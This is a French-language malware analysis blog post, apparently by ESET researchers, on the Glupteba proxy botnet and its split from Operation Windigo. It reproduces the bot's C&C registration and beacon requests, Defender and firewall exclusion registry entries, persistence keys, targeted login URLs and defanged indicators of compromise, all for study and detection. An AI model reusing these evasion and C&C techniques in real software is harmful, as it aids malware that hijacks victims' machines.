Nos recherches récentes sur Linux/Ebury, composant central d’Opération Windigo, nous ont mené à examiner d'autres composants de l'écosystème Windigo pour voir s'ils sont toujours actifs et s'ils font partie de la même opération. Au cours de ce processus, nous avons examiné Win32/Glupteba, un proxy ouvert précédemment distribué par des kits d'exploitation déployés dans le cadre de l'Opération Windigo. Le résultat de notre dernière analyse suggère fortement que Glupteba n'est plus lié à l'Opération Windigo.

Cet article de blogue est consacré au partage des résultats de notre enquête dans cet article de blogue. Nous fournirons des informations sur les mécanismes de distribution actuels de Glupteba, une courte analyse du trafic réseau passant par le proxy, et nous discuterons de la relation entre Glupteba et Windigo. Enfin, nous offrirons une analyse technique de l'état actuel du binaire Glupteba.

La distribution de Glupteba à travers le temps

Bref historique

Glupteba est connu pour avoir utilisé diverses méthodes de distribution au fil du temps,. Les chercheurs d'ESET ont suivi la distribution de Glupteba au cours des sept dernières années. Voici un bref aperçu de son évolution.

En 2011, les chercheurs d'ESET travaillant sur le tristement célèbre bootkit TDL-4 ont découvert que, comme expliqué dans cet article, il était utilisé comme un downloader servant à récupérer d'autres logiciels malveillants. Glupteba s'est avéré être l'une des nombreuses variantes de logiciels malveillants qu'il a installées. Les opérateurs de TDL-4 vendaient très probablement un service de distribution sur les marchés noirs.

Trois ans plus tard, l'enquête d'ESET sur Opération Windigo a révélé qu'une partie de l'infrastructure des attaquants de serveurs Linux compromis était utilisée pour rediriger une certaine proportion de requêtes HTTP à travers des serveurs web utilisés comme cheval de Troie (Apache httpd, lighttpd et nginx). Les requêtes redirigées frappaient les serveurs DNS sous le contrôle des opérateurs Windigo, ce qui permettait de résoudre l'enregistrement A à l'adresse IP des cibles de redirection finale. Celles-ci hébergent généralement les kits d'exploitation. Une fois l'exploitation réussie, la Glupteba serait installée.

Les liens entre Windigo et Glupteba ne s’arrêtaient pas là. Les serveurs C&C de Glupteba étaient également hébergés sur des machines faisant partie du botnet de Windigo. De plus, le seul but de Glupteba, à l'époque, était de relayer les courriers indésirables provenant de l'infrastructure de Windigo. Il est toutefois difficile de dire si Glupteba était exploité par les mêmes personnes que le réseau de zombies Windigo, ou s'il s'agissait d'une sorte de service fourni par les opérateurs de Windigo revendant l'utilisation de leur infrastructure.

Schéma de distribution actuel

Une fois de plus, le vecteur de distribution de Glupteba a changé. Il n'est plus distribué via l'infrastructure de Windigo. Glupteba fait maintenant partie de son propre botnet et est distribué par MSIL/Adware.CsdiMonetize.AG, qui est utilisé pour installer de nombreuses familles de logiciels malveillants. Ceci suggère un système de paiement à l'installation. En plus d'installer Glupteba, nous l'avons vu déployer des logiciels publicitaires, des agents miniers Bitcoin et divers PUA (pour Potentially Unwanted Applications, ou logiciel potentiellement indésirable).

MSIL/Adware.CsdiMonetize.AG n'installe pas directement Glupteba.AY. Il télécharge plutôt son injecteur (ou dropper), qui est responsable de l'enregistrement du bot à son serveur C&C, ajoutant des exclusions à Windows Defender et au pare-feu Windows, en plus de configurer l'environnement pour l’installation de Glupteba.

La requête pour enregistrer le bot contient plusieurs informations sur la machine de la victime. Voici un exemple de ce type de requête :

POST /bots/register HTTP/1.1
Host: burnandfire5.com
User-Agent: Go-http-client/1.1
Content-Length: 400
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip 

Data[appname]=SolitaryBrook&Data[arch]=32&Data[av]=&Data[build_number]=7601&Data[compaign_id]=&Data[cpu]=<CPU_SPEC>&Data[defender]=1&Data[exploited]=1&Data[firewall]=1&Data[gpu]=<GPU_INFO>&Data[is_admin]=1&Data[os]=<OS_INFO>&Data[username]=<USERNAME>&Data[version]=71

La valeur du registre Windows HKCU\Software\Microsoft\TestApp\UUID est également créée. Elle est nécessaire pour réussir l’exécution de Glupteba. Les données de cette valeur ne doivent pas être vides.

Finalement, les entrées de registre suivantes sont créées pour ajouter des règles d'exclusion à Windows Defender et au pare-feu Windows :

HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet = 0HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = 0HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{09E3DB75-DE77-4B2D-A351-C745D9A15617} = "v2.10|Action=Allow|Active=TRUE|Dir=In|App=C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe"

La télémétrie d'ESET nous informe que Glupteba a été observé dans 180 pays différents depuis le début de 2017. Trois pays combinés représentent 25&nbsp;% de toutes les détections : l'Ukraine, la Fédération de Russie et la Turquie. Le graphique 1 montre la répartition par pays des détections que nous avons observées.

Glupteba

Graphique 1 – La distribution de la détection par pays

Analyse de l’utilisation du proxy

Pendant les recherches d'ESET sur Opération Windigo, le seul but de Glupteba était de relayer les emplois de courriers indésirables à leurs destinataires finaux. Nous voulions vérifier si l'utilisation de Glupteba a changé depuis lors. Au cours du mois de novembre 2017, nous avons capturé le trafic réseau passant par un nœud infecté pour une durée de quatre jours. Notez que nous n'avons pas déchiffré le trafic HTTPS. Notre visibilité s’est donc limitée aux protocoles réseau non chiffrés. Notre analyse a montré que Glupteba ne se limite plus à l'envoi de courriers indésirables. Il est maintenant principalement utilisé par divers systèmes automatisés. Bien que les opérateurs de Glupteba puissent utiliser le proxy, nous pensons que l'utilisation de Glupteba est vendue à des utilisateurs tiers en tant que service proxy. Ici, nous fournissons des informations sur le trafic le plus intéressant que nous avons observé.

Nous avons tout d’abord remarqué que Glupteba est toujours utilisé afin de distribuer des courriers indésirables aux destinataires finaux. Voici un exemple de ces messages indésirables :

From: "Ella Dmhfey" <Ella87@bilanzgewinn.at>
To: "???????" <??????????@gmail.com>
Subject: ?????????? kaufen Sie Se-xpower
Date: Fri, 10 Nov 2017 14:18:10 +0100
MIME-Version: 1.0
Content-Type: text/plain;   
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Guten Tag ????????? , 

Damit kriegen Sie Ihre Dame zum Hoehepunkt. 

?????????: http://www.sexpillen-versandhaus[.]info/shop

Nous avons également observé que Glupteba était utilisé pour tenter des attaques par réutilisation de mot de passe. Glupteba fournit un certain niveau d'anonymat aux attaquants, puisque l'adresse IP de l'utilisateur proxy n'est jamais révélée au serveur cible. De plus, il permet de répartir les requêtes sur plusieurs adresses IP, réduisant ainsi le risque d'être banni par le site Web ciblé par l'attaque par réutilisation du mot de passe. Nous avons observé de telles attaques effectuées sur trois domaines :

Table 1. Domains targeted that don’t use HTTPS

#colspan#
Domain name Short description
adfoc.us URL shortener service where users are paid per visit
bonusbitcoin.co Free bitcoin faucet website
social.tunecore.com Music distribution website

Des domaines sont probablement davantage ciblés. En se basant sur le champ server_name de la structure ClientHello utilisée lors du protocole TLS, nous connaissons les noms de domaine qui ont été accédés même lorsque HTTPS a été utilisé. Ceci nous donne un aperçu des sites Web peuvant avoir été ciblés. Le tableau 2 présente une liste de ces noms de domaine avec les URL d'authentification associées. Ils sont triés avec les plus fréquemment visités en haut.

Table 2. Domains in server_name certificate field

#colspan#
Server name Authentication URL
auth.mail.ru https://auth.mail.ru/cgi-bin/auth
www.instagram.com https://www.instagram.com/accounts/login/ajax/
store.steampowered.com https://store.steampowered.com/login/dologin/
www.amazon.com https://www.amazon.com/ap/signin
auth.riotgames.com https://auth.riotgames.com/authz/auth
vk.com https://vk.com/login
global.americanexpress.com https://global.americanexpress.com/myca/logon/emea/action
www.facebook.com https://www.facebook.com/login/device-based/regular/login/
signin.ea.com https://signin.ea.com/p/web2/login
account.t-mobile.com https://account.t-mobile.com/svr/authenticate
www.linkedin.com https://www.linkedin.com/uas/login-submit
www.westernunion.com https://www.westernunion.com/wuconnect/rest/api/v1.0/CustomerSignOn
www.paypal.com https://www.paypal.com/signin
www.britishairways.com https://www.britishairways.com/api/grant
auth.api.sonyentertainmentnetwork.com https://auth.api.sonyentertainmentnetwork.com/login.jsp
account.sonymobile.com https://account.sonymobile.com/api/ng/signin
www.expedia.com https://www.expedia.com/user/signin

Un autre exemple d'un système automatisé de proxy d'utilisateur à travers Glupteba ciblé est www.omegle.com. Omegle est un site Web où deux étrangers peuvent se rencontrer dans un salon de discussion privé. Nous avons observé qu’un robot rejoignait une salle de chat et tentait de convaincre un utilisateur de suivre un lien. Il semble que ce service soit une cible populaire pour les bots. La plupart des interactions que nous avons pu voir étaient entre deux robots essayant de s’attirer l’un l’autre vers Kik Messenger, une application mobile de messagerie instantanée, ou de cliquer sur des URL raccourcies menant à des sites Web pour adultes.

Exemple de deux robots interagissant ensemble :

guest> heyy
stranger> my name is Tomasa
stranger> im female   .
stranger> from Rio de aneiro,Brazil
stranger> ready to talk, enter here:
stranger> bit.ly/<REDACTED>
guest> 18 female

guest> wanena etrade picturesh ?
guest> zyari.site/<REDACTED>
guest> messsage me theree ill sendc you sxome mor8e
guest> ok we2ll im goinn 2 getwt off bye

Nous avons également observé des robots tentant d’utiliser des requêtes HTTP POST spécialement conçues pour essayer de trouver des webshells. Les domaines ont été essayés l'un après l'autre dans l'ordre alphabétique ascendant, ce qui suggère qu'ils traitent une liste de domaines de façon programmée.

Discussion sur les liens entre Glupteba et Windigo

Lorsque nous avons décidé d’analyser à nouveau Glupteba, c'était principalement pour vérifier s’il était toujours associé à Opération Windigo. Notre analyse nous porte à croire que Glupteba n'est plus lié à l'Opération Windigo. Les raisons suivantes nous mènent à cette conclusion.

Nous avons d’abord observé les serveurs C&C utilisés par Glupteba. En énumérant les adresses IP que nous avons trouvées, nous avons constaté qu’aucune d'entre elles ne correspondait à des serveurs précédemment connus et compromis par Ebury. De plus, les nouveaux serveurs C&C ont beaucoup de ports ouverts, alors que les précédents n'avaient qu'une seule règle DNAT et SNAT redirigeant le trafic vers le serveur C&C. Avoir autant de ports ouverts sur un serveur compromis serait très bruyant, ce qui ne correspond pas au modus operandi des opérateurs de Windigo.

Comme nous l’avons documenté dans le whitepaper sur Opération Windigo, le client se connectant à Glupteba avait l'habitude d'envoyer une requête HTTP GET sur le port 25 à une machine compromise par Ebury avant de commencer à envoyer des travaux de spam. Ce n'est plus le cas : les tâches de courriers indésirables passent directement par le proxy, sans prologue. De plus, les messages de courriers indésirables eux-mêmes ne ressemblent pas à ceux que nous avions l'habitude de voir pendant l'Opération Windigo, où les messages menaient à un site de rencontre. Bien que l'on puisse soutenir que les courriers indésirables actuels, qui tentent de vendre des pilules d'amélioration sexuelle pour "amener votre femme au 7e ciel", sont une suite logique à la précédente, nous croyons qu'ils n'ont aucun lien de parenté.

Enfin, la distribution elle-même n'est plus liée à Windigo. Comme mentionné précédemment, il est maintenant distribué par MSIL/Adware.CsdiMonetize.AG.

Pour toutes ses raisons, nous croyons que Glupteba n’est plus lié à Opération Windigo.

Analyse technique

Dans cette section, nous fournissons une analyse technique des échantillons de Glupteba que nous avons examinés au cours de cette recherche. La première chose que nous avons remarquée est que les échantillons actuels ne ressemblent pas à ceux que nous avons analysés en 2014. Nous croyons que Glupteba a été réécrit à partir de zéro. Alors que Glupteba était un programme relativement petit et simple, il est devenu aujourd'hui un programme C+++ énorme et très complexe. Il avait environ 70 fonctions. Maintenant, il a plus de 3600 fonctions.

Glupteba

Graphique 2 : Comparaison de la liste de fonctions

Glupteba établit maintenant des liens statiques vers les bibliothèques Boost C+++ comme le montre le graphique 3. Pour communiquer par l'intermédiaire de sockets, il utilise les API WSASend et WSARecv, aulieu d'envoyer et recv.

Glupteba

Graphique 3 : Chaînes liées à la bibliothèque Boost C ++

Persistance

Glupteba acquiert de la persistance en ajoutant une entrée dans la clé de registre Run. Ainsi, chaque fois que Windows démarre, Glupteba sera lancé. Voici l'entrée qui est créée :

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CloudNet =  "%APPDATA%\EpicNet Inc\CloudNet\cloudnet.exe"

D'autres clés sont également créées dans le Registre Windows. Les plus intéressantes sont les suivantes :

HKCU\Software\EpicNet Inc.\CloudNet\Value = "20180223"
HKCU\Software\EpicNet Inc.\CloudNet\GUID = "CDC0432A-0298-40B1-9A71-D61F94C013A7"

L'entrée GUID est définie sur l'identifiant du bot qui est créé via un appel à CoCreateGuid. Quant à l'entrée Value, elle contient l'horodatage PE du binaire de Glupteba.

Communications du serveur C&C

Du point de vue du réseautage, il n'y a pas de changements significatifs entre les échantillons que nous avons documentés dans notre document sur Opération Windigo et la version actuelle. Une fois lancé, Glupteba envoie la même balise à son serveur C&C. La réponse contient la session et le port auquel Glupteba se connectera pour récupérer les travaux de proxy. Reportez-vous au whitepaper publié précédemment pour obtenir plus d'informations sur le protocole.

Balise envoyée au serveur C&C :

GET
/stat?uptime=100&downlink=1111&uplink=1111&id=05AA812F&statpass=bpass&version=20171106&features=30&guid=68794E51-0DBC-4CF6-BD98-8B18FE3E0A18&comment=20171106&p=0&s= HTTP/1.0

Les serveurs C&C sont chiffrés et stockés dans le binaire. Une fois déchiffrés, ils ressemblent à ceci :

'server-%s.sportpics[.]xyz:30,server-%s.kinosport[.]top:30,'

Le nombre après les deux points correspond à la valeur maximale des numéros de serveur. Dans ce cas,'30' signifie qu'il y a 30 noms de domaine générés en formatant la chaîne de domaine avec des nombres de 1 à 30. Lorsque vous contactez le serveur C&C, l'un de ces domaines est sélectionné au hasard et le GUID de la machine compromise est prédéfini comme sous-domaine du serveur choisi, ce qui donne un domaine comme celui-ci.

Exemple de serveur C&C :

68794E51-0DBC-4CF6-BD98-8B18FE3E0A18.server-1.sportpics[.]xyz

Glupteba envoie également une deuxième requête GET à son serveur C&C afin de mettre à jour les informations sur les spécifications de la machine de la victime. Voici à quoi ressemble la demande :

GET
/update.php?uid=<BOT_ID>&version=<VERSION>&OS=<OS>&have_admin=1&mys=<C&C_SERVERS>&build=<PE_TIMESTAMP>&cpu=<CPU>&video=<VIDEO_CARD>&ram=<GB_OF_RAM> HTTP/1.0

Chaînes de chiffrement

Les chaînes de Glupteba sont chiffrées avec l'aide d'un algorithme personnalisé. Le processus de déchiffrement utilise une clé de 16 octets et comporte trois phases distinctes. La clé est différente pour chaque build. Au cours de la première phase, on utilise le générateur de nombres pseudo-aléatoires de Mersenne Twister (PRNG). L'algorithme est généré avec les quatre premiers octets de la clé. Ensuite, chaque octet du chiffre est XORed avec l'octet suivant généré par le PRNG.

Glupteba

Graphique 4 : Phase 1 du processus de déchiffrement

La deuxième phase comprend trois variantes distinctes. L'une utilise le Rabbit cipher; un autre utilise une deuxième série d'opérations XOR similaire à celle de la première phase, mais avec une graine différente dérivée de la clé. La seule variante utilisée dans les échantillons analysés est la troisième, composée d'une boucle XOR avec la clé.

La troisième et dernière phase est une autre boucle XOR avec une valeur calculée à partir de la sortie de la deuxième phase et de certaines valeurs immédiates.

Glupteba

Graphique 5 : Phase 3 du processus de déchiffrement

Dans notre dépôt GitHub, nous fournissons un script pour déchiffrer toutes les chaînes de caractères. Puisque l'implémentation d’un PRNG pour Python varie un peu par rapport à celle utilisée par Glupteba, nous fournissons également une implémentation Python du PRNG. Assurez-vous que le répertoire où il se trouve se trouve dans votre %PYTHONPATH% avant de lancer le script de décryptage de chaîne de caractères. Vous pouvez le faire en exécutnt cette commande dans l'interpréteur Python d'IDA :

sys.path.append(<PATH_TO_SCRIPT>)

Conclusion

Malgré les efforts incessants de la communauté de la sécurité de l'information pour perturber leurs opérations, les opérateurs de Glupteba continuent de trouver des moyens de distribuer leurs logiciels malveillants. Après l'exposition à l'Opération Windigo, ils sont maintenant passés à d'autres tactiques pour que leurs logiciels malveillants se répandent sur les ordinateurs du monde entier.

La réécriture complète de leurs outils et sa distribution actuelle montre que les individus derrière Glupteba demeurent très actifs. Ces efforts suggèrent que le marché des proxy ouvert doit être très lucratif et qu'il est peu probable que nous assistions à la disparition de la Glupteba dans un proche avenir.

Indicateurs de compromission (IoCs)

File hashes

#colspan# #colspan#
SHA-1 Filename Detection name
B623F4A6CD5947CA0016D3E33A07EB72E8C176BA cloudnet.exe Win32/Glupteba.AY
ED310E5B9F582B4C6389F7AB9EED17D89497F277 cloudnet.exe Win32/Glupteba.AY
F7230B2CAB4E4910BCA473B39EE8FD4DF394CE0D setup.exe MSIL/Adware.CsdiMonetize.AG
70F2763772FD1A1A54ED9EA88A2BCFDB184BCB91 cloudnet.exe Win32/Glupteba.AY
87AD7E248DADC2FBE00D8441E58E64591D9E3CBE cloudnet.exe Win32/Glupteba.AY
1645AD8468A2FB54763C0EBEB766DFD8C643F3DB csrss.exe Win32/Agent.SVE

Domaines du serveur C&C de Glupteba

server-{1,30}[.]ostdownload.xyz
server-{1,30}[.]travelsreview.world
server-{1,30}[.]bigdesign.website
server-{1,30}[.]sportpics.xyz
server-{1,30}[.]kinosport.top
server-{1,30}[.]0ev.ru
server-{1,30}[.]0df.ru
server-{1,30}[.]0d2.ru
server-{1,30}[.]0d9.ru

Adresses IP du serveur C&C de Glupteba

5[.]101.6.132
5[.]79.87.139
5[.]79.87.153
5[.]8.10.194
37[.]48.81.151
46[.]165.244.129
46[.]165.249.167
46[.]165.249.195
46[.]165.249.201
46[.]165.249.203
46[.]165.250.25
78[.]31.67.205
78[.]31.67.206
80[.]93.90.27
80[.]93.90.32
80[.]93.90.69
80[.]93.90.72
80[.]93.90.78
80[.]93.90.84
81[.]30.152.25
85[.]114.135.113
85[.]114.141.81
89[.]163.206.137
89[.]163.206.174
89[.]163.212.9
91[.]121.65.98
91[.]216.93.126
91[.]216.93.20
109[.]238.10.78
178[.]162.193.193
178[.]162.193.195
178[.]162.193.66
178[.]162.193.86
193[.]111.140.238
193[.]111.141.213
212[.]92.100.114
212[.]92.100.115
213[.]202.254.161
213[.]5.70.9
217[.]79.189.227

Domaines du serveur C&C d’Agent.SVE

financialtimesguru[.]com
comburnandfire5[.]com